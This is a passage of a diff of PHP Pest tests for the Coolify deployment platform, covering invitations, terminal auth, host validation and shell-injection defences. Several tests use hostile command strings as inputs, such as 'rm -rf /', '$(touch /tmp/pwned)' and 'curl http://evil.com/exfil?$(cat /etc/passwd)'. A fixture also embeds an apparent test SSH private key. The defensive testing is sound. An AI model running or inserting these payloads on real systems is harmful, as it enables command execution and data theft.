expect($var)->not->toBeNull()
->and($var->value)->toBe('value')
->and($var->comment)->toBe('note from dev view');
});
test('server shared variable dev view updates existing variable', function () {
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
SharedEnvironmentVariable::create([
'key' => 'EXISTING_SERVER_VAR',
'value' => 'old_value',
'comment' => 'old comment',
'type' => 'server',
'server_id' => $this->server->id,
'team_id' => $this->team->id,
]);
Livewire::test(App\Livewire\SharedVariables\Server\Show::class, [
'server_uuid' => $this->server->uuid,
])
->set('variables', 'EXISTING_SERVER_VAR=new_value # updated comment')
->call('submit')
->assertHasNoErrors();
$var = $this->server->environment_variables()->where('key', 'EXISTING_SERVER_VAR')->first();
expect($var->value)->toBe('new_value')
->and($var->comment)->toBe('updated comment');
});
@@ -0,0 +1,82 @@
<?php
use App\Models\Server;
use App\Models\SslCertificate;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
});
test('server with no CA certificate returns null from sslCertificates query', function () {
$caCert = $this->server->sslCertificates()
->where('is_ca_certificate', true)
->first();
expect($caCert)->toBeNull();
});
test('accessing property on null CA cert throws an error', function () {
// This test verifies the exact scenario that caused the 500 error:
// querying for a CA cert on a server that has none, then trying to access properties
$caCert = $this->server->sslCertificates()
->where('is_ca_certificate', true)
->first();
expect($caCert)->toBeNull();
// Without the fix, the code would do:
// caCert: $caCert->ssl_certificate <-- 500 error
expect(fn () => $caCert->ssl_certificate)
->toThrow(ErrorException::class);
});
test('CA certificate can be retrieved when it exists on the server', function () {
// Create a CA certificate directly (simulating what generateCaCertificate does)
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => true,
'ssl_certificate' => 'test-ca-cert',
'ssl_private_key' => 'test-ca-key',
'common_name' => 'Coolify CA Certificate',
'valid_until' => now()->addYears(10),
]);
$caCert = $this->server->sslCertificates()
->where('is_ca_certificate', true)
->first();
expect($caCert)->not->toBeNull()
->and($caCert->is_ca_certificate)->toBeTruthy()
->and($caCert->ssl_certificate)->toBe('test-ca-cert')
->and($caCert->ssl_private_key)->toBe('test-ca-key');
});
test('non-CA certificate is not returned when querying for CA certificate', function () {
// Create only a regular (non-CA) certificate
SslCertificate::create([
'server_id' => $this->server->id,
'is_ca_certificate' => false,
'ssl_certificate' => 'test-cert',
'ssl_private_key' => 'test-key',
'common_name' => 'test-db-uuid',
'valid_until' => now()->addYear(),
]);
$caCert = $this->server->sslCertificates()
->where('is_ca_certificate', true)
->first();
// The CA cert query should return null since only a regular cert exists
expect($caCert)->toBeNull();
});
@@ -7,6 +7,7 @@ use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Queue;
use Stripe\Exception\InvalidRequestException;
use Stripe\Service\InvoiceService;
use Stripe\Service\SubscriptionService;
use Stripe\Service\TaxRateService;
@@ -46,7 +47,7 @@ beforeEach(function () {
'data' => [(object) [
'id' => 'si_item_123',
'quantity' => 2,
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'],
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'month']],
]],
],
];
@@ -187,7 +188,7 @@ describe('UpdateSubscriptionQuantity::execute', function () {
test('handles stripe API error gracefully', function () {
$this->mockSubscriptions
->shouldReceive('retrieve')
->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found'));
->andThrow(new InvalidRequestException('Subscription not found'));
$action = new UpdateSubscriptionQuantity($this->mockStripe);
$result = $action->execute($this->team, 5);
@@ -199,7 +200,7 @@ describe('UpdateSubscriptionQuantity::execute', function () {
test('handles generic exception gracefully', function () {
$this->mockSubscriptions
->shouldReceive('retrieve')
->andThrow(new \RuntimeException('Network error'));
->andThrow(new RuntimeException('Network error'));
$action = new UpdateSubscriptionQuantity($this->mockStripe);
$result = $action->execute($this->team, 5);
@@ -270,6 +271,46 @@ describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
expect($result['preview']['tax_description'])->toContain('27%');
expect($result['preview']['quantity'])->toBe(3);
expect($result['preview']['currency'])->toBe('USD');
expect($result['preview']['billing_interval'])->toBe('month');
});
test('returns yearly billing interval for annual subscriptions', function () {
$yearlySubscriptionResponse = (object) [
'items' => (object) [
'data' => [(object) [
'id' => 'si_item_123',
'quantity' => 2,
'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'year']],
]],
],
];
$this->mockSubscriptions
->shouldReceive('retrieve')
->with('sub_test_qty')
->andReturn($yearlySubscriptionResponse);
$this->mockInvoices
->shouldReceive('upcoming')
->andReturn((object) [
'amount_due' => 1000,
'total' => 1000,
'subtotal' => 1000,
'tax' => 0,
'currency' => 'usd',
'lines' => (object) [
'data' => [
(object) ['amount' => 1000, 'proration' => false],
],
],
'total_tax_amounts' => [],
]);
$action = new UpdateSubscriptionQuantity($this->mockStripe);
$result = $action->fetchPricePreview($this->team, 2);
expect($result['success'])->toBeTrue();
expect($result['preview']['billing_interval'])->toBe('year');
});
test('returns preview without tax when no tax applies', function () {
@@ -336,7 +377,7 @@ describe('UpdateSubscriptionQuantity::fetchPricePreview', function () {
test('handles Stripe API error gracefully', function () {
$this->mockSubscriptions
->shouldReceive('retrieve')
->andThrow(new \RuntimeException('API error'));
->andThrow(new RuntimeException('API error'));
$action = new UpdateSubscriptionQuantity($this->mockStripe);
$result = $action->fetchPricePreview($this->team, 5);
@@ -0,0 +1,147 @@
<?php
use App\Models\Team;
use App\Models\TeamInvitation;
use App\Models\User;
use Illuminate\Cookie\Middleware\EncryptCookies;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create(['email' => 'invited@example.com']);
$this->invitation = TeamInvitation::create([
'team_id' => $this->team->id,
'uuid' => 'test-invitation-uuid',
'email' => 'invited@example.com',
'role' => 'member',
'link' => url('/invitations/test-invitation-uuid'),
'via' => 'link',
]);
});
test('GET invitation shows landing page without accepting', function () {
$this->actingAs($this->user);
$response = $this->get('/invitations/test-invitation-uuid');
$response->assertStatus(200);
$response->assertViewIs('invitation.accept');
$response->assertSee($this->team->name);
$response->assertSee('Accept Invitation');
// Invitation should NOT be deleted (not accepted yet)
$this->assertDatabaseHas('team_invitations', [
'uuid' => 'test-invitation-uuid',
]);
// User should NOT be added to the team
expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse();
});
test('GET invitation with reset-password query param does not reset password', function () {
$this->actingAs($this->user);
$originalPassword = $this->user->password;
$response = $this->get('/invitations/test-invitation-uuid?reset-password=1');
$response->assertStatus(200);
// Password should NOT be changed
$this->user->refresh();
expect($this->user->password)->toBe($originalPassword);
// Invitation should NOT be accepted
$this->assertDatabaseHas('team_invitations', [
'uuid' => 'test-invitation-uuid',
]);
});
test('POST invitation accepts and adds user to team', function () {
$this->actingAs($this->user);
$response = $this->post('/invitations/test-invitation-uuid');
$response->assertRedirect(route('team.index'));
// Invitation should be deleted
$this->assertDatabaseMissing('team_invitations', [
'uuid' => 'test-invitation-uuid',
]);
// User should be added to the team
expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue();
});
test('POST invitation without CSRF token is rejected', function () {
$this->actingAs($this->user);
$response = $this->withoutMiddleware(EncryptCookies::class)
->post('/invitations/test-invitation-uuid', [], [
'X-CSRF-TOKEN' => 'invalid-token',
]);
// Should be rejected with 419 (CSRF token mismatch)
$response->assertStatus(419);
// Invitation should NOT be accepted
$this->assertDatabaseHas('team_invitations', [
'uuid' => 'test-invitation-uuid',
]);
});
test('unauthenticated user cannot view invitation', function () {
$response = $this->get('/invitations/test-invitation-uuid');
$response->assertRedirect();
});
test('wrong user cannot view invitation', function () {
$otherUser = User::factory()->create(['email' => 'other@example.com']);
$this->actingAs($otherUser);
$response = $this->get('/invitations/test-invitation-uuid');
$response->assertStatus(400);
});
test('wrong user cannot accept invitation via POST', function () {
$otherUser = User::factory()->create(['email' => 'other@example.com']);
$this->actingAs($otherUser);
$response = $this->post('/invitations/test-invitation-uuid');
$response->assertStatus(400);
// Invitation should still exist
$this->assertDatabaseHas('team_invitations', [
'uuid' => 'test-invitation-uuid',
]);
});
test('GET revoke route no longer exists', function () {
$this->actingAs($this->user);
$response = $this->get('/invitations/test-invitation-uuid/revoke');
$response->assertStatus(404);
});
test('POST invitation for already-member user deletes invitation without duplicating', function () {
$this->user->teams()->attach($this->team->id, ['role' => 'member']);
$this->actingAs($this->user);
$response = $this->post('/invitations/test-invitation-uuid');
$response->assertRedirect(route('team.index'));
// Invitation should be deleted
$this->assertDatabaseMissing('team_invitations', [
'uuid' => 'test-invitation-uuid',
]);
// User should still have exactly one membership in this team
expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1);
});
@@ -0,0 +1,118 @@
<?php
use App\Models\PrivateKey;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
beforeEach(function () {
config()->set('app.env', 'local');
$this->team = Team::factory()->create();
$this->privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $this->team->id,
]);
Server::factory()->create([
'name' => 'Test Server',
'ip' => 'coolify-testing-host',
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
]);
});
// --- POST /terminal/auth ---
it('denies unauthenticated users on POST /terminal/auth', function () {
$this->postJson('/terminal/auth')
->assertStatus(401);
});
it('denies non-admin team members on POST /terminal/auth', function () {
$member = User::factory()->create();
$member->teams()->attach($this->team, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
$this->postJson('/terminal/auth')
->assertStatus(403);
});
it('allows team owners on POST /terminal/auth', function () {
$owner = User::factory()->create();
$owner->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
$this->postJson('/terminal/auth')
->assertStatus(200)
->assertJson(['authenticated' => true]);
});
it('allows team admins on POST /terminal/auth', function () {
$admin = User::factory()->create();
$admin->teams()->attach($this->team, ['role' => 'admin']);
$this->actingAs($admin);
session(['currentTeam' => $this->team]);
$this->postJson('/terminal/auth')
->assertStatus(200)
->assertJson(['authenticated' => true]);
});
// --- POST /terminal/auth/ips ---
it('denies unauthenticated users on POST /terminal/auth/ips', function () {
$this->postJson('/terminal/auth/ips')
->assertStatus(401);
});
it('denies non-admin team members on POST /terminal/auth/ips', function () {
$member = User::factory()->create();
$member->teams()->attach($this->team, ['role' => 'member']);
$this->actingAs($member);
session(['currentTeam' => $this->team]);
$this->postJson('/terminal/auth/ips')
->assertStatus(403);
});
it('allows team owners on POST /terminal/auth/ips', function () {
$owner = User::factory()->create();
$owner->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($owner);
session(['currentTeam' => $this->team]);
$this->postJson('/terminal/auth/ips')
->assertStatus(200)
->assertJsonStructure(['ipAddresses']);
});
it('allows team admins on POST /terminal/auth/ips', function () {
$admin = User::factory()->create();
$admin->teams()->attach($this->team, ['role' => 'admin']);
$this->actingAs($admin);
session(['currentTeam' => $this->team]);
$this->postJson('/terminal/auth/ips')
->assertStatus(200)
->assertJsonStructure(['ipAddresses']);
});
-360
View File
@@ -1,360 +0,0 @@
<?php
use App\Http\Middleware\TrustHosts;
use App\Models\InstanceSettings;
use Illuminate\Support\Facades\Cache;
uses(\Illuminate\Foundation\Testing\RefreshDatabase::class);
beforeEach(function () {
// Clear cache before each test to ensure isolation
Cache::forget('instance_settings_fqdn_host');
});
it('trusts the configured FQDN from InstanceSettings', function () {
// Create instance settings with FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('coolify.example.com');
});
it('rejects password reset request with malicious host header', function () {
// Set up instance settings with legitimate FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// The malicious host should NOT be in the trusted hosts
expect($hosts)->not->toContain('coolify.example.com.evil.com');
expect($hosts)->toContain('coolify.example.com');
});
it('handles missing FQDN gracefully', function () {
// Create instance settings without FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null]
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// Should still return APP_URL pattern without throwing
expect($hosts)->not->toBeEmpty();
});
it('filters out null and empty values from trusted hosts', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => '']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// Should not contain empty strings or null
foreach ($hosts as $host) {
if ($host !== null) {
expect($host)->not->toBeEmpty();
}
}
});
it('extracts host from FQDN with protocol and port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com:8443']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('coolify.example.com');
});
it('handles exception during InstanceSettings fetch', function () {
// Drop the instance_settings table to simulate installation
\Schema::dropIfExists('instance_settings');
$middleware = new TrustHosts($this->app);
// Should not throw an exception
$hosts = $middleware->hosts();
expect($hosts)->not->toBeEmpty();
});
it('trusts IP addresses with port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://65.21.3.91:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('65.21.3.91');
});
it('trusts IP addresses without port', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://192.168.1.100']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('192.168.1.100');
});
it('rejects malicious host when using IP address', function () {
// Simulate an instance using IP address
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://65.21.3.91:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// The malicious host attempting to mimic the IP should NOT be trusted
expect($hosts)->not->toContain('65.21.3.91.evil.com');
expect($hosts)->not->toContain('evil.com');
expect($hosts)->toContain('65.21.3.91');
});
it('trusts IPv6 addresses', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'http://[2001:db8::1]:8000']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
// IPv6 addresses are enclosed in brackets, getHost() should handle this
expect($hosts)->toContain('[2001:db8::1]');
});
it('invalidates cache when FQDN is updated', function () {
// Set initial FQDN
$settings = InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://old-domain.com']
);
// First call should cache it
$middleware = new TrustHosts($this->app);
$hosts1 = $middleware->hosts();
expect($hosts1)->toContain('old-domain.com');
// Verify cache exists
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
// Update FQDN - should trigger cache invalidation
$settings->fqdn = 'https://new-domain.com';
$settings->save();
// Cache should be cleared
expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse();
// New call should return updated host
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts2)->toContain('new-domain.com');
expect($hosts2)->not->toContain('old-domain.com');
});
it('caches trusted hosts to avoid database queries on every request', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
// Clear cache first
Cache::forget('instance_settings_fqdn_host');
// First call - should query database and cache result
$middleware1 = new TrustHosts($this->app);
$hosts1 = $middleware1->hosts();
// Verify result is cached
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com');
// Subsequent calls should use cache (no DB query)
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts1)->toBe($hosts2);
expect($hosts2)->toContain('coolify.example.com');
});
it('caches negative results when no FQDN is configured', function () {
// Create instance settings without FQDN
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => null]
);
// Clear cache first
Cache::forget('instance_settings_fqdn_host');
// First call - should query database and cache empty string sentinel
$middleware1 = new TrustHosts($this->app);
$hosts1 = $middleware1->hosts();
// Verify empty string sentinel is cached (not null, which wouldn't be cached)
expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue();
expect(Cache::get('instance_settings_fqdn_host'))->toBe('');
// Subsequent calls should use cached sentinel value
$middleware2 = new TrustHosts($this->app);
$hosts2 = $middleware2->hosts();
expect($hosts1)->toBe($hosts2);
// Should only contain APP_URL pattern, not any FQDN
expect($hosts2)->not->toBeEmpty();
});
it('skips host validation for terminal auth routes', function () {
// These routes should be accessible with any Host header (for internal container communication)
$response = $this->postJson('/terminal/auth', [], [
'Host' => 'coolify:8080', // Internal Docker host
]);
// Should not get 400 Bad Host (might get 401 Unauthorized instead)
expect($response->status())->not->toBe(400);
});
it('skips host validation for terminal auth ips route', function () {
// These routes should be accessible with any Host header (for internal container communication)
$response = $this->postJson('/terminal/auth/ips', [], [
'Host' => 'soketi:6002', // Another internal Docker host
]);
// Should not get 400 Bad Host (might get 401 Unauthorized instead)
expect($response->status())->not->toBe(400);
});
it('still enforces host validation for non-terminal routes', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
// Regular routes should still validate Host header
$response = $this->get('/', [
'Host' => 'evil.com',
]);
// Should get 400 Bad Host for untrusted host
expect($response->status())->toBe(400);
});
it('skips host validation for API routes', function () {
// All API routes use token-based auth (Sanctum), not host validation
// They should be accessible from any host (mobile apps, CLI tools, scripts)
// Test health check endpoint
$response = $this->get('/api/health', [
'Host' => 'internal-lb.local',
]);
expect($response->status())->not->toBe(400);
// Test v1 health check
$response = $this->get('/api/v1/health', [
'Host' => '10.0.0.5',
]);
expect($response->status())->not->toBe(400);
// Test feedback endpoint
$response = $this->post('/api/feedback', [], [
'Host' => 'mobile-app.local',
]);
expect($response->status())->not->toBe(400);
});
it('trusts localhost when FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('localhost');
});
it('trusts 127.0.0.1 when FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('127.0.0.1');
});
it('trusts IPv6 loopback when FQDN is configured', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$middleware = new TrustHosts($this->app);
$hosts = $middleware->hosts();
expect($hosts)->toContain('[::1]');
});
it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () {
InstanceSettings::updateOrCreate(
['id' => 0],
['fqdn' => 'https://coolify.example.com']
);
$response = $this->get('/', [
'Host' => 'localhost',
]);
// Should NOT be rejected as untrusted host (would be 400)
expect($response->status())->not->toBe(400);
});
it('skips host validation for webhook endpoints', function () {
// All webhook routes are under /webhooks/* prefix (see RouteServiceProvider)
// and use cryptographic signature validation instead of host validation
// Test GitHub webhook
$response = $this->post('/webhooks/source/github/events', [], [
'Host' => 'github-webhook-proxy.local',
]);
expect($response->status())->not->toBe(400);
// Test GitLab webhook
$response = $this->post('/webhooks/source/gitlab/events/manual', [], [
'Host' => 'gitlab.example.com',
]);
expect($response->status())->not->toBe(400);
// Test Stripe webhook
$response = $this->post('/webhooks/payments/stripe/events', [], [
'Host' => 'stripe-webhook-forwarder.local',
]);
expect($response->status())->not->toBe(400);
});
+141
View File
@@ -81,3 +81,144 @@ test('database backup accepts legitimate database names', function () {
expect(fn () => validateShellSafePath('test123', 'database name'))
->not->toThrow(Exception::class);
});
// --- MongoDB collection name validation tests ---
test('mongodb collection name rejects command substitution injection', function () {
expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects backtick injection', function () {
expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects semicolon injection', function () {
expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects ampersand injection', function () {
expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects redirect injection', function () {
expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
->toThrow(Exception::class);
});
test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
// Valid MongoDB formats should pass
expect(fn () => validateDatabasesBackupInput('mydb'))
->not->toThrow(Exception::class);
expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
->not->toThrow(Exception::class);
expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
->not->toThrow(Exception::class);
expect(fn () => validateDatabasesBackupInput('all'))
->not->toThrow(Exception::class);
});
test('validateDatabasesBackupInput rejects injection in collection names', function () {
// Command substitution in collection name
expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
->toThrow(Exception::class);
// Backtick injection in collection name
expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
->toThrow(Exception::class);
// Semicolon in collection name
expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
->toThrow(Exception::class);
});
test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
// --- Credential escaping tests for database backup commands ---
test('escapeshellarg neutralizes command injection in postgres password', function () {
$maliciousPassword = '"; rm -rf / #';
$escaped = escapeshellarg($maliciousPassword);
// The escaped value must be a single shell token that cannot break out
expect($escaped)->not->toContain("\n");
expect($escaped)->toBe("'\"; rm -rf / #'");
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
expect($command)->toContain("PGPASSWORD='");
expect($command)->not->toContain('PGPASSWORD=""');
});
test('escapeshellarg neutralizes command injection in postgres username', function () {
$maliciousUser = 'admin$(whoami)';
$escaped = escapeshellarg($maliciousUser);
expect($escaped)->toBe("'admin\$(whoami)'");
$command = "docker exec container pg_dump --username $escaped";
// The $() should be inside single quotes, preventing execution
expect($command)->toContain("--username 'admin\$(whoami)'");
});
test('escapeshellarg neutralizes command injection in mysql password', function () {
$maliciousPassword = 'pass" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousPassword);
$command = "docker exec container mysqldump -u root -p$escaped db";
// The password must be wrapped in single quotes
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
});
test('escapeshellarg neutralizes command injection in mariadb password', function () {
$maliciousPassword = "pass'; whoami; echo '";
$escaped = escapeshellarg($maliciousPassword);
// Single quotes in the value get escaped as '\''
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
$command = "docker exec container mariadb-dump -u root -p$escaped db";
// Verify the command doesn't contain an unescaped semicolon outside quotes
expect($command)->toContain("-p'pass'");
});
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
$maliciousUser = 'admin";$(whoami)';
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
$encodedUser = rawurlencode($maliciousUser);
$encodedPass = rawurlencode($maliciousPass);
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
// Special characters should be percent-encoded
expect($encodedUser)->not->toContain('"');
expect($encodedUser)->not->toContain('$');
expect($encodedUser)->not->toContain('(');
expect($encodedPass)->not->toContain('@');
expect($encodedPass)->not->toContain('/');
expect($encodedPass)->not->toContain('?');
expect($encodedPass)->not->toContain('&');
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
$atCount = substr_count($url, '@');
expect($atCount)->toBe(1);
});
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousUrl);
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
// The entire URI must be inside single quotes
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
expect($command)->toContain("evil.com #'");
// No unescaped double quotes that could break the command
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
});
@@ -0,0 +1,74 @@
<?php
use Tests\TestCase;
uses(TestCase::class);
it('strips newlines from pre_deployment_command before building sh -c wrapper', function () {
$exec = buildDeploymentExecCommand("echo hello\necho injected");
expect($exec)->not->toContain("\n")
->and($exec)->not->toContain("\r")
->and($exec)->toContain('echo hello echo injected')
->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/");
});
it('strips carriage returns from deployment command', function () {
$exec = buildDeploymentExecCommand("echo hello\r\necho injected");
expect($exec)->not->toContain("\r")
->and($exec)->not->toContain("\n")
->and($exec)->toContain('echo hello echo injected');
});
it('strips bare carriage returns from deployment command', function () {
$exec = buildDeploymentExecCommand("echo hello\recho injected");
expect($exec)->not->toContain("\r")
->and($exec)->toContain('echo hello echo injected');
});
it('leaves single-line deployment command unchanged', function () {
$exec = buildDeploymentExecCommand('php artisan migrate --force');
expect($exec)->toContain("sh -c 'php artisan migrate --force'");
});
it('prevents newline injection with malicious payload', function () {
// Attacker tries to inject a second command via newline in heredoc transport
$exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)");
expect($exec)->not->toContain("\n")
// The entire command should be on a single line inside sh -c
->and($exec)->toContain('harmless curl http://evil.com/exfil');
});
it('handles multiple consecutive newlines', function () {
$exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2");
expect($exec)->not->toContain("\n")
->and($exec)->toContain('cmd1 cmd2');
});
it('properly escapes single quotes after newline normalization', function () {
$exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'");
expect($exec)->not->toContain("\n")
->and($exec)->toContain("echo '\\''hello'\\''")
->and($exec)->toContain("echo '\\''world'\\''");
});
/**
* Replicates the exact command-building logic from ApplicationDeploymentJob's
* run_pre_deployment_command() and run_post_deployment_command() methods.
*
* This tests the security-critical str_replace + sh -c wrapping in isolation.
*/
function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string
{
// This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command
$normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command);
$cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'";
return "docker exec {$containerName} {$cmd}";
}
@@ -0,0 +1,76 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
it('prefers the preview specific docker image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 42);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => 'latest',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, 'pr_42');
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('pr_42');
});
it('falls back to the application docker image tag for non preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => 'stable',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, 'pr_42');
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('stable');
});
it('falls back to latest when neither preview nor application tags are set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 7);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => '',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, null);
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
